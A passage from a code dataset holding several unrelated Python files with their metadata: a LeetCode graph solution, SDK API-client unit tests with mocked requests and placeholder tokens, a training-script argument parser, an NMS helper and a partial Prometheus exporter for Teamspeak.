13, "usage_type": "attribute"}, {"api_name": "tkinter.font.Font", "line_number": 22, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tkinter.IntVar", "line_number": 26, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 40, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 40, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 41, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 41, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 42, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 46, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 54, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 57, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 59, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 62, "usage_type": "call"}, {"api_name": "tkinter.Radiobutton", "line_number": 66, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 69, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 72, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 75, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 83, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 97, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 97, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 133, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 137, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 137, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 141, "usage_type": "call"}]} {"seq_id": "14198004835", "text": "# from pudb import set_trace; set_trace()\nfrom typing import List\nimport math\nfrom collections import defaultdict\n\n\nclass Solution:\n def maximumDetonation(self, bombs: List[List[int]]) -> int:\n \"\"\"LeetCode 2101\n\n Very fun problem. We can convert the bomb detonation relationship to a\n directed graph. Then the problem is converted to finding the size of\n the largest connected graph.\n\n Converting the bombs to graph takes O(N^2).\n\n Finding the largest connected graph also takes O(N^3), because the number\n of edges is to the order of O(N^2).\n\n 806 ms, faster than 64.35%\n \"\"\"\n graph = defaultdict(list)\n N = len(bombs)\n for i, (x1, y1, r1) in enumerate(bombs):\n for j, (x2, y2, r2) in enumerate(bombs):\n if i != j:\n if r1**2 >= (x2 - x1)**2 + (y2 - y1)**2:\n graph[i].append(j)\n\n def dfs(node: int, visited) -> int:\n visited.add(node)\n num_nodes = 1\n for nei in graph[node]:\n if nei not in visited:\n num_nodes += dfs(nei, visited)\n return num_nodes\n\n res = 0\n for node in range(N):\n res = max(res, dfs(node, set()))\n return res\n\n\nsol = Solution()\ntests = [\n ([[2,1,3],[6,1,4]], 2),\n ([[1,1,5],[10,10,5]], 1),\n ([[1,2,3],[2,3,1],[3,4,2],[4,5,3],[5,6,4]], 5),\n]\n\nfor i, (bombs, ans) in enumerate(tests):\n res = sol.maximumDetonation(bombs)\n if res == ans:\n print(f'Test {i}: PASS')\n else:\n print(f'Test {i}; Fail. Ans: {ans}, Res: {res}')\n", "repo_name": "FanchenBao/leetcode", "sub_path": "2023_06_challenge/06_02_2023.py", "file_name": "06_02_2023.py", "file_ext": "py", "file_size_in_byte": 1641, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 22, "usage_type": "call"}]} {"seq_id": "14835771467", "text": "import responses\n\nfrom freezegun import freeze_time\nfrom datetime import datetime, timedelta\n\nfrom tests.mocker import mock, mock_token\nfrom tests.util import decallmethods, deep_equal\nfrom cpaassdk.api import Api\nfrom cpaassdk.config import Config\n\n@decallmethods(responses.activate)\nclass TestApi:\n def test_init(self, api):\n assert api.user_id == 'test-user'\n assert api.access_token != None\n assert api.id_token != None\n\n def test_send_request_without_token(self, api):\n url = '/test-path'\n\n options = {\n 'body': {\n 'param1': 'test-value1',\n 'param2': 'test-value2'\n },\n 'headers': {\n 'header1': 'test-header1'\n }\n }\n\n mock(url, 'POST')\n\n response = api.send_request(url, options, 'post', False).json()\n\n assert deep_equal(response['__for_test__']['body'], options['body'])\n assert response['__for_test__']['url'] == api.config.base_url + url\n assert response['__for_test__']['headers']['Content-Type'] == 'application/json'\n assert response['__for_test__']['headers']['header1'] == 'test-header1'\n assert response['__for_test__']['headers'].get('Authorization') == None\n\n def test_send_request_with_token(self, api):\n url = '/test-path'\n\n options = {\n 'body': {\n 'param1': 'test-value1',\n 'param2': 'test-value2'\n },\n 'headers': {\n 'header1': 'test-header1'\n }\n }\n\n mock('/test-path', 'POST')\n\n response = api.send_request('/test-path', options, 'post').json()\n\n assert deep_equal(response['__for_test__']['body'], options['body'])\n assert response['__for_test__']['url'] == api.config.base_url + url\n assert response['__for_test__']['headers']['Content-Type'] == 'application/json'\n assert response['__for_test__']['headers']['header1'] == 'test-header1'\n assert response['__for_test__']['headers'].get('Authorization') == 'Bearer ' + api.access_token\n\n def test_compose_headers_without_token(self, api):\n headers = api.compose_headers({}, False)\n assert headers['Content-Type'] == 'application/json'\n assert headers['Accept'] == '*/*'\n assert headers.get('Authorization') == None\n\n request_headers = {\n 'header1': 'test-header1'\n }\n headers = api.compose_headers(request_headers, False)\n assert headers['Content-Type'] == 'application/json'\n assert headers['Accept'] == '*/*'\n assert headers['header1'] == 'test-header1'\n assert headers.get('Authorization') == None\n\n def test_compose_headers_with_token(self, api):\n headers = api.compose_headers()\n assert headers['Content-Type'] == 'application/json'\n assert headers['Accept'] == '*/*'\n assert headers['Authorization'] == 'Bearer ' + api.access_token\n\n request_headers = {\n 'header1': 'test-header1'\n }\n\n headers = api.compose_headers(request_headers)\n assert headers['Content-Type'] == 'application/json'\n assert headers['Accept'] == '*/*'\n assert headers['header1'] == 'test-header1'\n assert headers['Authorization'] == 'Bearer ' + api.access_token\n\n def test_auth_token(self, api):\n token = api.auth_token()\n\n assert token != None\n assert token == api.access_token\n\n def test_tokens_with_project_credentials(self):\n base_url = 'https://oauth-cpaas.att.com'\n path = '/cpaas/auth/v1/token'\n client_id = 'test-client-id'\n client_secret = 'test-client-secret'\n\n mock(path, 'POST' )\n\n config = Config({\n 'client_id': client_id,\n 'client_secret': client_secret,\n 'base_url': base_url\n })\n\n api = Api(config)\n response = api.tokens()\n\n assert response['__for_test__']['url'] == base_url + path\n assert response['__for_test__']['body']['client_id'][0] == client_id\n assert response['__for_test__']['body']['client_secret'][0] == client_secret\n assert response['__for_test__']['body']['grant_type'][0] == 'client_credentials'\n assert response['__for_test__']['body']['scope'][0] == 'openid'\n\n def test_tokens_with_user_credentials(self):\n base_url = 'https://oauth-cpaas.att.com'\n path = '/cpaas/auth/v1/token'\n client_id = 'test-client-id'\n client_secret = 'test-client-secret'\n email = 'test@user.com'\n password = 'test-password'\n\n mock(path, 'POST' )\n config = Config({\n 'client_id': 'test-client-id',\n 'email': email,\n 'password': password,\n 'base_url': base_url\n })\n\n api = Api(config)\n response = api.tokens()\n\n assert response['__for_test__']['url'] == base_url + path\n assert response['__for_test__']['body']['client_id'][0] == client_id\n assert response['__for_test__']['body']['username'][0] == email\n assert response['__for_test__']['body']['password'][0] == password\n assert response['__for_test__']['body']['grant_type'][0] == 'password'\n assert response['__for_test__']['body']['scope'][0] == 'openid'\n\n def test_set_token(self, api):\n tokens = {\n 'access_token': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1NjcwMTAyNzJ9.y8wvKUizfATF_QH-9na4192eilSADghLlbeDB-hSVaU',\n 'id_token': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcmVmZXJyZWRfdXNlcm5hbWUiOiJ0ZXN0LXVzZXIifQ.DT1AAa5laejotLDA-5QOajkrW-FmqWHACmJedbDfrOw'\n }\n\n api.set_tokens(tokens)\n assert api.user_id == 'test-user'\n assert api.access_token == tokens['access_token']\n assert api.id_token == tokens['id_token']\n assert type(api.access_token_parsed) == dict\n assert type(api.id_token_parsed) == dict\n\n api.set_tokens()\n assert api.user_id == None\n assert api.access_token == None\n assert api.id_token == None\n assert api.access_token_parsed == None\n assert api.id_token_parsed == None\n\n def test_token_expired_when_token_not_expired(self, api):\n assert api.token_expired() == False\n\n def test_token_expired_when_token_expired(self, api):\n future_date_time = (datetime.now() + timedelta(hours=9)).strftime(\"%Y-%m-%d %H:%M:%S\")\n\n with freeze_time(future_date_time):\n assert api.token_expired() == True\n", "repo_name": "Kandy-IO/kandy-cpaas-python-sdk", "sub_path": "tests/test_api.py", "file_name": "test_api.py", "file_ext": "py", "file_size_in_byte": 5969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "tests.mocker.mock", "line_number": 31, "usage_type": "call"}, {"api_name": "tests.util.deep_equal", "line_number": 35, "usage_type": "call"}, {"api_name": "tests.mocker.mock", "line_number": 54, "usage_type": "call"}, {"api_name": "tests.util.deep_equal", "line_number": 58, "usage_type": "call"}, {"api_name": "tests.mocker.mock", "line_number": 107, "usage_type": "call"}, {"api_name": "cpaassdk.config.Config", "line_number": 109, "usage_type": "call"}, {"api_name": "cpaassdk.api.Api", "line_number": 115, "usage_type": "call"}, {"api_name": "tests.mocker.mock", "line_number": 132, "usage_type": "call"}, {"api_name": "cpaassdk.config.Config", "line_number": 133, "usage_type": "call"}, {"api_name": "cpaassdk.api.Api", "line_number": 140, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 174, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 174, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 174, "usage_type": "call"}, {"api_name": "freezegun.freeze_time", "line_number": 176, "usage_type": "call"}, {"api_name": "tests.util.decallmethods", "line_number": 11, "usage_type": "call"}, {"api_name": "responses.activate", "line_number": 11, "usage_type": "attribute"}]} {"seq_id": "6951120478", "text": "\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport os\nimport pickle\nimport time\nimport logging\nimport util.parse_opt as parse_opt\nimport argparse\n\n\n\n\ndef parse_args(args_list): \n \"\"\" \n #Parses the command line input.\n \"\"\" \n parser = parse_opt.MyArgumentParser(description='this train tool',\n fromfile_prefix_chars='@')\n\n parser.add_argument('--ps-hosts',dest='ps_hosts',\n type=str, default=None,\n help='parameter server')\n\n parser.add_argument('--worker-hosts',dest='worker_hosts',\n type=str, default=None,\n help='worker hosts')\n\n parser.add_argument('--job-name',dest='job_name',\n type=str, default=None,\n help='job name (ps/worker)')\n\n parser.add_argument('--task-index',dest='task_index',\n type=int, default=None,\n help='task index')\n parser.add_argument('--num-threads', dest='num_threads', type=int, default=1,\n help='number threads (int, default = 1)')\n \n parser.add_argument('--tf-save-path', dest='tf_save_path', \n type=str, default=None, \n help='TensorFlow save path name for the run (allow multiples run with the same output path)'\n '(str, default = None)')\n\n parser.add_argument('--criterion', dest='criterion', \n type=str, default='ctc', \n help='TensorFlow loss criterion '\n '(str, default = ctc)')\n \n parser.add_argument('--max-epoch', dest='max_epoch', type=int, default=None, \n help='Max epoch to train (no limitation if not provided)' '(int, default = None)') \n \n parser.add_argument('--Debug', dest='Debug', type=bool, default=False,\n help='debug or not'\n '(bool, default = False)')\n \n parser.add_argument('--use-config-file-if-checkpoint-exists', dest='use_config_file_if_checkpoint_exists',type=bool,\n default=False,\n help='use config file train model'\n '(bool, default = False)')\n\n parser.add_argument('--checkpoint-dir', dest='checkpoint_dir', type=str,\n default='outdir',\n help='save dir' '(str, default = outdir)')\n\n parser.add_argument('--reset-global-step', dest='reset_global_step',type=bool,\n default=False,\n help='reset global step = 0 '\n '(bool, default = False)')\n\n parser.add_argument('--queue-cache', dest='queue_cache', type=int,\n default=100,\n help='input data cache' '(int, default = 100)')\n\n parser.add_argument('--label-dim', dest='label_dim', type=int, default=-1,\n help='nnet out dim(int, default = -1)')\n\n parser.add_argument('--den-fst', dest='den_fst', type=str, default=None,\n help='denominator fst file(int, default = None)')\n\n # features parameters\n parser.add_argument('--io-thread-num', dest='io_thread_num', type=int, default=1,\n help='io threads number(int, default = 1)')\n \n parser.add_argument('--max-egs-kind', dest='max_egs_kind', type=int, default=1,\n help='max egs kind(int, default = 5)')\n\n parser.add_argument('--tdnn-start-frames', dest='tdnn_start_frames',type=int,\n default=0,\n help='tdnn start add frames' '(int, default = 0)')\n \n parser.add_argument('--tdnn-end-frames', dest='tdnn_end_frames',type=int,\n default=0,\n help='tdnn end add frames' '(int, default = 0)')\n\n parser.add_argument('--max-input-seq-length', dest='max_input_seq_length',type=int,\n default=1500,\n help='allow input max input length' '(int, default = 1500)')\n\n parser.add_argument('--max-target-seq-length', dest='max_target_seq_length',type=int,\n default=1500,\n help='allow target max input length' '(int, default = 1500)')\n \n parser.add_argument('--tr-scp', dest='tr_scp', type=str,\n default=None,\n help='train scp file' '(str, default = None)')\n\n parser.add_argument('--tr-label', dest='tr_label', type=str,\n default=None,\n help='train label file' '(str, default= None)')\n\n parser.add_argument('--lat-scp-file', dest='lat_scp_file', type=str,\n default=None,\n help='train lattice scp file' '(str, default= None)')\n \n parser.add_argument('--ali-map-file', dest='ali_map_file', type=str,\n default=None,\n help='lattice ali map file' '(str, default= None)')\n parser.add_argument('--silence-phones', dest='silence_phones', type=str,\n default=None,\n help='smbr and mfpe train silence phone list' '(str, default= None)')\n parser.add_argument('--class-frame-counts', dest='class_frame_counts', type=str,\n default=None,\n help='Vector with frame-counts of pdfs to compute log-priors.' '(str, default= None)')\n\n# parser.add_argument('--cv-scp', dest='cv_scp', type=str,\n# default=None,\n# help='cv scp file' '(str, default = None)')\n\n# parser.add_argument('--cv-label', dest='cv_label', type=str,\n# default=None,\n# help='cv label file' '(str, default= None)')\n \n# parser.add_argument('--restore-training', dest='restore_training', type=bool,\n# default=False,\n# help='restore training' '(bool, default = False)')\n\n parser.add_argument('--shuffle', dest='shuffle', type=bool,\n default=False,\n help='shuffle data' '(bool, default = False)')\n \n parser.add_argument('--log-file', dest='log_file', type=str,\n default='log',\n help='log file' '(str, default = log)')\n\n parser.add_argument('--log-level', dest='log_level', type=str,\n default='INFO',\n help='log level' '(str, default = INFO)')\n\n '''\n ##add feature option\n '''\n feature_opt = parser.add_argument_group(title='feature_opt', \n description='feature option relation parameters')\n\n feature_opt.add_argument('--feature-transfile', dest='feature_transfile',\n type=str, default=None,\n help='Feature transform in front of main network (in nnet format)'\n ' (str, defalut = None)')\n\n feature_opt.add_argument('--skip-frames', dest='skip_frame',\n type=int, default=1,\n help='skip frame number'\n ' (int, default = 1)')\n \n feature_opt.add_argument('--start-frames', dest='start_frames',\n type=int, default=0,\n help='start frame ,it must be lt skip-frames'\n ' (int, default = 0)')\n\n\n '''\n #add train common option\n '''\n train_common_opt = parser.add_argument_group(title='train_common_opt', \n description='training common option relation parameters')\n\n train_common_opt.add_argument('--steps-per-checkpoint', dest='steps_per_checkpoint',\n type=int, default=1000,\n help='save frequency'\n '(int, default = 1000)')\n\n train_common_opt.add_argument('--learning-rate', dest='learning_rate',\n type=float, default=1.0, \n help='learning rate for NN training'\n ' (float, default = 1.0)')\n \n train_common_opt.add_argument('--l2-scale', dest='l2_scale',\n type=float, default=0.00005, \n help='l2 scale for NN training'\n ' (float, default = 0.00005)')\n\n train_common_opt.add_argument('--learning-rate-decay-steps', dest='learning_rate_decay_steps',\n type=int, default=10000, \n help='learning rate decay step for NN training'\n ' (int, default = 10000)')\n\n train_common_opt.add_argument('--learning-rate-decay-rate', dest='learning_rate_decay_rate',\n type=float, default=0.96, \n help='learning rate decay rate for NN training'\n ' (float, default = 0.96)')\n\n train_common_opt.add_argument('--batch-size', dest='batch_size', type=int, \n default=1,\n help='Number of streams in the Multi-stream training'\n '(int, default = 1)')\n \n# train_common_opt.add_argument('--num-streams', dest='nstreams', type=int,\n# default=1,\n# help='Number of streams in the Multi-stream training'\n# '(int, default = 1)')\n\n train_common_opt.add_argument('--num-frames-batch', \n dest='num_frames_batch', \n type=int, default=20,\n help='Length of \\'one stream\\' in the Multi-stream training'\n '(int, default = 20)')\n \n train_common_opt.add_argument('--overlap', \n dest='overlap', \n type=int, default=0,\n help='This parameter for lc lstm add, it\\'s feature slice overlap length.'\n '(int, default = 0)')\n\n train_common_opt.add_argument('--init-scale', dest='init_scale', type=float,\n default=0.01,\n help='bound of the range of random values to generate'\n '(float, default = 0.01)')\n\n# train_common_opt.add_argument('--lr-decay-factor', dest='lr_decay_factor', type=float,\n# default = 0.5,\n# help='learn rate decay factor'\n# '(float, default = 0.5)')\n\n train_common_opt.add_argument('--grad-clip', dest='grad_clip', type=float,\n default = 5.0,\n help='Clipping the accumulated gradients (per-updates)'\n '(float, default = 5.0)')\n \n train_common_opt.add_argument('--optimizer', dest='optimizer',\n type=str, default='GD',\n help='optimizer : GD|Adam|Adadelta|AdagradDA|Adagrad'\n '(string, default = \"\"GD)')\n\n train_common_opt.add_argument('--use-sgd', dest='use_sgd', type=bool,\n default=False,\n help='train parameter way'\n '(bool, default = False)')\n \n train_common_opt.add_argument('--use-normal', dest='use_normal', type=bool,\n default=False,\n help='train parameter way'\n '(bool, default = False)')\n \n train_common_opt.add_argument('--use-sync', dest='use_sync', type=bool,\n default=False,\n help='train parameter way'\n '(bool, default = False)')\n \n train_common_opt.add_argument('--use-clip', dest='use_clip', type=bool,\n default=False,\n help='train parameter way'\n '(bool, default = False)')\n\n train_common_opt.set_defaults(cross_validate=False)\n train_common_opt.add_argument('--cross-validate', dest='cross_validate',\n action='store_true',\n help='Perform cross-validation (don\\'t back-propagate)'\n ' (bool, default = false)')\n\n train_common_opt.add_argument('--momentum', type=float, default=0.0,\n help='Momentum' \n ' (float, default = 0.0)')\n\n train_common_opt.add_argument('--objective-function', dest='objective_function',\n type=str, default='ctc',\n help='Objective function : ctc|xent|mse'\n '(string, default = \"ctc\")')\n \n train_common_opt.add_argument('--report-step', dest='report_step', type=int,\n default=100,\n help='Step (number of sequences) for status reporting'\n ' (int, default = 100)')\n\n train_common_opt.add_argument('--time-major', dest='time_major', type=bool,\n default=False,\n help='time major'\n '(bool, default = True)')\n\n # no use\n train_common_opt.add_argument('--forward-only', dest='forward_only', type=bool,\n default=False,\n help='only calculate forward'\n '(bool, default = False)')\n\n train_common_opt.add_argument('--print-trainable-variables', dest='print_trainable_variables',\n type=bool, default=False,\n help='print trainable variables'\n '(bool, default = False)')\n\n\n '''\n #add lstm train relation option\n '''\n train_lstm_opt = parser.add_argument_group(title='train_lstm_opt', \n description='training lstm option relation parameters')\n\n# train_lstm_opt.add_argument('--state-is-tuple',dest='state_is_tuple',\n# type=bool, default=True,\n# help='Lstm state is tuple'\n# ' (bool, default = True)')\n \n train_lstm_opt.add_argument('--nnet-conf',dest='nnet_conf',\n type=str, default=None,\n help='It\\'s save nnet configure parameter.'\n ' (bool, default = None)')\n\n # no need\n train_lstm_opt.add_argument('--use-gridlstm',dest='use_gridlstm',\n type=bool, default=False,\n help='First layer wether use gridlstm'\n ' (bool, default = False)')\n\n # no need\n train_lstm_opt.add_argument('--dropout-input-keep-prob', dest='dropout_input_keep_prob', type=float,\n default=1.0,\n help='dropout input keep prob'\n '(float, default = 1.0)')\n # use\n train_lstm_opt.add_argument('--dropout-output-keep-prob', dest='output_keep_prob', type=float,\n default=1.0,\n help='dropout output keep prob'\n '(float, default = 1.0)')\n # no need\n train_lstm_opt.add_argument('--rnn-state-reset-ratio', dest='rnn_state_reset_ratio', type=float,\n default=0.0,\n help='rnn state reset ratio'\n '(bool, default = 0.0)')\n\n '''\n #add mutually exclusive group 4 choise 1\n '''\n# group = parser.add_mutually_exclusive_group(required=True) \n# group.set_defaults(train=False) \n# group.set_defaults(file=None) \n# group.set_defaults(record=False) \n# group.set_defaults(evaluate=False) \n# group.add_argument('--train', dest='train', action='store_true', help='Train the network') \n# group.add_argument('--file', type=str, help='Path to a wav file to process') \n# group.add_argument('--record', dest='record', action='store_true', help='Record and write result on the fly') \n# group.add_argument('--evaluate', dest='evaluate', action='store_true', help='Evaluate WER against the test_set') \n\n '''\n #dict choise\n '''\n args = parser.parse_args(args_list) \n if args.start_frames >= args.skip_frame and args.start_frames != 0:\n raise 'error feature option'\n\n if args.tr_scp is None:\n raise 'input scp file it\\'s None'\n\n if args.tr_label is None:\n logging.info('input label it\\'s None')\n \n return args.__dict__\n\n\nif __name__ == \"__main__\":\n args = parse_args(sys.argv[1:])\n print(args)\n for k,v in args.iteritems():\n print(k+':\\t'+str(v))\n\n\n\n", "repo_name": "datemoon/tf-code-acoustics", "sub_path": "parse_args.py", "file_name": "parse_args.py", "file_ext": "py", "file_size_in_byte": 14494, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 25, "dataset": "github-code", "pt": "7", "api": [{"api_name": "util.parse_opt.MyArgumentParser", "line_number": 20, "usage_type": "call"}, {"api_name": "util.parse_opt", "line_number": 20, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 365, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 371, "usage_type": "attribute"}]} {"seq_id": "72863547742", "text": "from detectron2.layers import batched_nms\nimport pdb\n\nimport torch\n\ndef ml_nms(boxlist, nms_thresh, max_proposals=-1,\n score_field=\"scores\", label_field=\"labels\"):\n \"\"\"\n Performs non-maximum suppression on a boxlist, with scores specified\n in a boxlist field via score_field.\n Arguments:\n boxlist(BoxList)\n nms_thresh (float)\n max_proposals (int): if > 0, then only the top max_proposals are kept\n after non-maximum suppression\n score_field (str)\n \"\"\"\n if nms_thresh <= 0:\n return boxlist\n if boxlist.has('pred_boxes'):\n boxes = boxlist.pred_boxes.tensor\n labels = boxlist.pred_classes\n else:\n boxes = boxlist.proposal_boxes.tensor\n labels = boxlist.proposal_boxes.tensor.new_zeros(\n len(boxlist.proposal_boxes.tensor))\n scores = boxlist.scores\n\n # pdb.set_trace()\n # print(boxes.size())\n # print(scores.size())\n # print('prepare')\n \n # keep = batched_nms(boxes, scores, labels, nms_thresh)\n nmsed_boxes, nmsed_scores, nmsed_classes, _ = batched_nms(boxes, scores, labels, nms_thresh)\n # if max_proposals > 0:\n # keep = keep[: max_proposals]\n keep = torch.tensor(range(0, 400))\n boxlist = boxlist[keep]\n # pdb.set_trace()\n # print(keep.size())\n boxlist.pred_boxes.tensor = torch.squeeze(nmsed_boxes)\n boxlist.scores = torch.squeeze(nmsed_scores)\n boxlist.pred_classes.tensor = torch.squeeze(nmsed_classes)\n return boxlist\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/detection/centernet2/projects/CenterNet2/centernet/modeling/layers/ml_nms.py", "file_name": "ml_nms.py", "file_ext": "py", "file_size_in_byte": 1500, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "detectron2.layers.batched_nms", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.squeeze", "line_number": 44, "usage_type": "call"}]} {"seq_id": "8040610885", "text": "#!/usr/bin/python\n\nimport re\nimport time\nimport requests\nimport argparse\nimport urllib2\nfrom pprint import pprint\n\nimport os\nfrom sys import exit\nfrom prometheus_client import start_http_server, Summary\nfrom prometheus_client.core import GaugeMetricFamily, REGISTRY\n\nDEBUG = int(os.environ.get('DEBUG', '0'))\n\nCOLLECTION_TIME = Summary('jenkins_collector_collect_seconds', 'Time spent to collect metrics from Jenkins')\n\nclass JenkinsCollector(object):\n # The build statuses we want to export about.\n statuses = [\"lastBuild\", \"lastCompletedBuild\", \"lastFailedBuild\",\n \"lastStableBuild\", \"lastSuccessfulBuild\", \"lastUnstableBuild\",\n \"lastUnsuccessfulBuild\"]\n\n def __init__(self, target):\n self._target = target.rstrip(\"/\")\n\n # Desired initial metric:\n # users_logged_in{name=\"foo\",channel=\"big_game_hunters\"}\n def collect(self):\n \"\"\"\n The collect method is special and must exist for the Python Prometheus\n exporter library to actually do anything.\n \"\"\"\n start = time.time()\n\n # Request data from Jenkins\n # jobs = self._request_data()\n\n # self._setup_empty_prometheus_metrics()\n\n # ts3_user_login_count{user_name=\"foo\", channel=\"blah\"}\n\n metric = GaugeMetricFamily(\n 'ts3_user_login_count',\n 'Teamspeak 3 user logged in',\n labels=[\"user_name\", \"channel\"])\n\n metric.add_metric([\"foo\", \"blah\"], 1) # 1 user is logged in... I guess...\n metric.add_metric([\"bar\", \"blah\"], 1)\n metric.add_metric([\"baz\", \"afk\"], 1)\n\n yield metric\n\n\n # for status in self.statuses:\n # for metric in self._prometheus_metrics[status].values():\n # yield metric\n\n duration = time.time() - start\n COLLECTION_TIME.observe(duration)\n\n\n\n def _request_data(self):\n # Request exactly the information we need from Shivtr\n url = self._target\n jobs = \"[fullName,number,timestamp,duration,actions[queuingDurationMillis,totalDurationMillis,\" \\\n \"skipCount,failCount,totalCount,passCount]]\"\n tree = 'jobs[fullName,url,{0}]'.format(','.join([s + jobs for s in self.statuses]))\n\n params = {\n 'tree': tree,\n }\n\n def parsejobs(myurl):\n # params = tree: jobs[name,lastBuild[number,timestamp,duration,actions[queuingDurationMillis...\n response = requests.get(myurl, params=params, verify=(not self._insecure))\n if DEBUG:\n pprint(response.text)\n if response.status_code != requests.codes.ok:\n raise Exception(\"Call to url %s failed with status: %s\" % (myurl, response.status_code))\n result = response.json()\n if DEBUG:\n pprint(result)\n\n jobs = []\n for job in result['jobs']:\n if job['_class'] == 'com.cloudbees.hudson.plugins.folder.Folder' or \\\n job['_class'] == 'jenkins.branch.OrganizationFolder' or \\\n job['_class'] == 'org.jenkinsci.plugins.workflow.multibranch.WorkflowMultiBranchProject':\n jobs += parsejobs(job['url'] + '/api/json')\n else:\n jobs.append(job)\n return jobs\n\n return parsejobs(url)\n\n def _setup_empty_prometheus_metrics(self):\n # The metrics we want to export.\n self._prometheus_metrics = {}\n for status in self.statuses:\n snake_case = re.sub('([A-Z])', '_\\\\1', status).lower()\n self._prometheus_metrics[status] = {\n 'number':\n GaugeMetricFamily('jenkins_job_{0}'.format(snake_case),\n 'Jenkins build number for {0}'.format(status), labels=[\"jobname\"]),\n 'duration':\n GaugeMetricFamily('jenkins_job_{0}_duration_seconds'.format(snake_case),\n 'Jenkins build duration in seconds for {0}'.format(status), labels=[\"jobname\"]),\n 'timestamp':\n GaugeMetricFamily('jenkins_job_{0}_timestamp_seconds'.format(snake_case),\n 'Jenkins build timestamp in unixtime for {0}'.format(status), labels=[\"jobname\"]),\n 'queuingDurationMillis':\n GaugeMetricFamily('jenkins_job_{0}_queuing_duration_seconds'.format(snake_case),\n 'Jenkins build queuing duration in seconds for {0}'.format(status),\n labels=[\"jobname\"]),\n 'totalDurationMillis':\n GaugeMetricFamily('jenkins_job_{0}_total_duration_seconds'.format(snake_case),\n 'Jenkins build total duration in seconds for {0}'.format(status), labels=[\"jobname\"]),\n 'skipCount':\n GaugeMetricFamily('jenkins_job_{0}_skip_count'.format(snake_case),\n 'Jenkins build skip counts for {0}'.format(status), labels=[\"jobname\"]),\n 'failCount':\n GaugeMetricFamily('jenkins_job_{0}_fail_count'.format(snake_case),\n 'Jenkins build fail counts for {0}'.format(status), labels=[\"jobname\"]),\n 'totalCount':\n GaugeMetricFamily('jenkins_job_{0}_total_count'.format(snake_case),\n 'Jenkins build total counts for {0}'.format(status), labels=[\"jobname\"]),\n 'passCount':\n GaugeMetricFamily('jenkins_job_{0}_pass_count'.format(snake_case),\n 'Jenkins build pass counts for {0}'.format(status), labels=[\"jobname\"]),\n }\n\n def _get_metrics(self, name, job):\n for status in self.statuses:\n if status in job.keys():\n status_data = job[status] or {}\n self._add_data_to_prometheus_structure(status, status_data, job, name)\n\n def _add_data_to_prometheus_structure(self, status, status_data, job, name):\n # If there's a null result, we want to pass.\n if status_data.get('duration', 0):\n self._prometheus_metrics[status]['duration'].add_metric([name], status_data.get('duration') / 1000.0)\n if status_data.get('timestamp', 0):\n self._prometheus_metrics[status]['timestamp'].add_metric([name], status_data.get('timestamp') / 1000.0)\n if status_data.get('number', 0):\n self._prometheus_metrics[status]['number'].add_metric([name], status_data.get('number'))\n actions_metrics = status_data.get('actions', [{}])\n for metric in actions_metrics:\n if metric.get('queuingDurationMillis', False):\n self._prometheus_metrics[status]['queuingDurationMillis'].add_metric([name], metric.get('queuingDurationMillis') / 1000.0)\n if metric.get('totalDurationMillis', False):\n self._prometheus_metrics[status]['totalDurationMillis'].add_metric([name], metric.get('totalDurationMillis') / 1000.0)\n if metric.get('skipCount', False):\n 